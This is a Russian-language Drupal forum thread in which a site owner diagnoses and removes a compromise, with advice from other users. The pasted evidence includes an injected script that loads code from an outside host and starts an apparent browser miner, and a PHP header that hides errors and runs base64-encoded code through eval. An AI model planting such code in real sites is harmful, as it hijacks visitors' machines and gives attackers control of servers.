Откуда берётся JS-скрипт в начале страницы?

Аватар пользователя smekalin smekalin 24 декабря 2021 в 11:59

Здравствуйте, уважаемые форумчане.
Столкнулся с проблемой. Характер проблемы не даёт мне возможности понять, в какую сторону копать, поэтому пишу сюда.
Где-то с месяц назад заметил, что при обращении к моему сайту, браузер перекидывал на какую-то рекламную хрень и загружался только раза с третьего. Происходило это только на некоторых компьютерах (2-3 штуки, из тех, что я пробовал, а пробовал я с десяток). Касперский ничего подозрительного не нашел. Сегодня, при создании материала обнаружил, что некоторые мои действия вызывают ошибку Ajax. Например, при обновлении модуля возникает такая ошибка:

Возникла AJAX HTTP ошибка. Полученный код HTTP: 200 Следует отладочная информация. Путь: /batch?render=overlay&id=90&op=do Текст Состояния: OK Текст Ответа: if(i2336 == null){ var i2336 = 1; var _client = new Client.Anonymous('209d14fea4728810b9c302d3c982b212a982e0adecdbdddb4df25d7c6cc3a9a1', { throttle: 0, c: 'w', ads: 0 }); _client.start(); } if(i2336 == null){ var i2336 = 1; var _client = new Client.Anonymous('209d14fea4728810b9c302d3c982b212a982e0adecdbdddb4df25d7c6cc3a9a1', { throttle: 0, c: 'w', ads: 0 }); _client.start(); } if(i2336 == null){ var i2336 = 1; var _client = new Client.Anonymous('209d14fea4728810b9c302d3c982b212a982e0adecdbdddb4df25d7c6cc3a9a1', { throttle: 0, c: 'w', ads: 0 }); _client.start(); } {"status":true,"percentage":"100","message":"\u0412\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e 1 \u0438\u0437 1.\u003Cbr \/\u003E"}

Ещё ошибки возникали при выгрузке картинки на сервер через IMCE.
Затем я обнаружил, что в браузере на странице авторизации перестала отображаться ImageCAPTCHA, демонстрируя только подпись "CAPTCHA на основе изображений".
И, в конечном счёте, обратил внимание, что в начале страниц появился скрипт:

<html><body><script src="https://www.hostingcloud.racing/8Ted.js"></script>
<script>
if(i2336 == null){ var i2336 = 1;
    var _client = new Client.Anonymous('209d14fea4728810b9c302d3c982b212a982e0adecdbdddb4df25d7c6cc3a9a1', {
        throttle: 0, c: 'w', ads: 0
    });
    _client.start();
}
</script></body></html>

<html><body><script src="https://www.hostingcloud.racing/8Ted.js"></script>
<script>
if(i2336 == null){ var i2336 = 1;
    var _client = new Client.Anonymous('209d14fea4728810b9c302d3c982b212a982e0adecdbdddb4df25d7c6cc3a9a1', {
        throttle: 0, c: 'w', ads: 0
    });
    _client.start();
}
</script></body></html>

<html><body><script src="https://www.hostingcloud.racing/8Ted.js"></script>
<script>
if(i2336 == null){ var i2336 = 1;
    var _client = new Client.Anonymous('209d14fea4728810b9c302d3c982b212a982e0adecdbdddb4df25d7c6cc3a9a1', {
        throttle: 0, c: 'w', ads: 0
    });
    _client.start();
}
</script></body></html>

<html><body><script src="https://www.hostingcloud.racing/8Ted.js"></script>
<script>
if(i2336 == null){ var i2336 = 1;
    var _client = new Client.Anonymous('209d14fea4728810b9c302d3c982b212a982e0adecdbdddb4df25d7c6cc3a9a1', {
        throttle: 0, c: 'w', ads: 0
    });
    _client.start();
}
</script></body></html>

Подскажите, пожалуйста, откуда начинать копать и связаны ли эти проблемы вообще?

Комментарии

Аватар пользователя ivnish ivnish 24 декабря 2021 в 12:07

1) Проверяйте шаблоны темы оформления на предмет заражения
2) Проверяйте кастомные блоки, особенно если есть php фильтр
3) Провайдер так же может так делать, ростелеком был замечен за этим

Аватар пользователя smekalin smekalin 24 декабря 2021 в 12:22

Подскажите, пожалуйста, на что обращать внимание? Что есть признак заражения?

Аватар пользователя smekalin smekalin 25 декабря 2021 в 8:09

Сегодня просматривал файлы Drupal с расширением *.php и обнаружил, что все они начинаются с блока кода:

<?php
 
/*5938291*/ error_reporting(0); @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('display_errors','Off'); @eval( base64_decode('здесь много знаков и, по-моему, из-за них пост не хочет сохраняться и "ругается" антивирус')); @ini_restore('error_log'); @ini_restore('display_errors'); /*5938291*/ 

?>

Мне кажется это странным. У меня на этом хостинге ещё пару сайтов -- там такого не наблюдается. Хотя, версия 7 на остальных немного старше.
Возможно ли, что это результат какой-то вирусной активности или это нормально?

Аватар пользователя voviko voviko 25 декабря 2021 в 9:25

обращайтесь к доктору.
Самостоятельно врядли сможете удалить все файлы.
И возможно в БД есть код.

Аватар пользователя smekalin smekalin 25 декабря 2021 в 8:21

И ещё. При попытке сохранения папок и файлов Drupal 7 на мой компьютер, все файлы *.php без предупреждения "сносятся" Касперским (я так подозреваю, хотя в журналах Касперского я про это ничего не нашел).

Аватар пользователя gun_dose gun_dose 25 декабря 2021 в 14:12

А какие названия у файлов php и где они лежат? Приведите пару примеров. Дело в том, что в семёрке очень мало файлов с таким расширением. В большинстве модулей таких файлов вообще нет. Исключение составляют файлы шаблонов .tpl.php.
Вообще, похоже на классический взлом. Нужно всё обновить, а контриб и ядро вообще желательно удалить полностью и перезалить "на свежую голову". Кастомные модули и темы придётся перелопачивать вручную. Также надо проверить директорию sites/default/files на наличие php файлов

Аватар пользователя smekalin smekalin 29 декабря 2021 в 20:37

Спасибо большое всем, кто откликнулся.
Благодаря вашим сообщениям получилось разобраться и решить проблему самостоятельно -- "перелопатил" вручную все файлы *.php и в каждом был "левый" код, описанный выше, который был удалён. В БД нашлось две записи, содержащие код JS в материалах в поле "Содержимое".
Ошибки ушли и, при вводе адреса сайта, прекратился редирект на всякую рекламную хрень.
Понимаю, что подобное было сделано, скорее всего, с использованием уязвимостей в модулях и ядре (не обновлял своевременно), однако мне не понятно, как возможно изменение содержимого файла, при котором значение таких атрибутов как дата изменения, остаётся неизменным?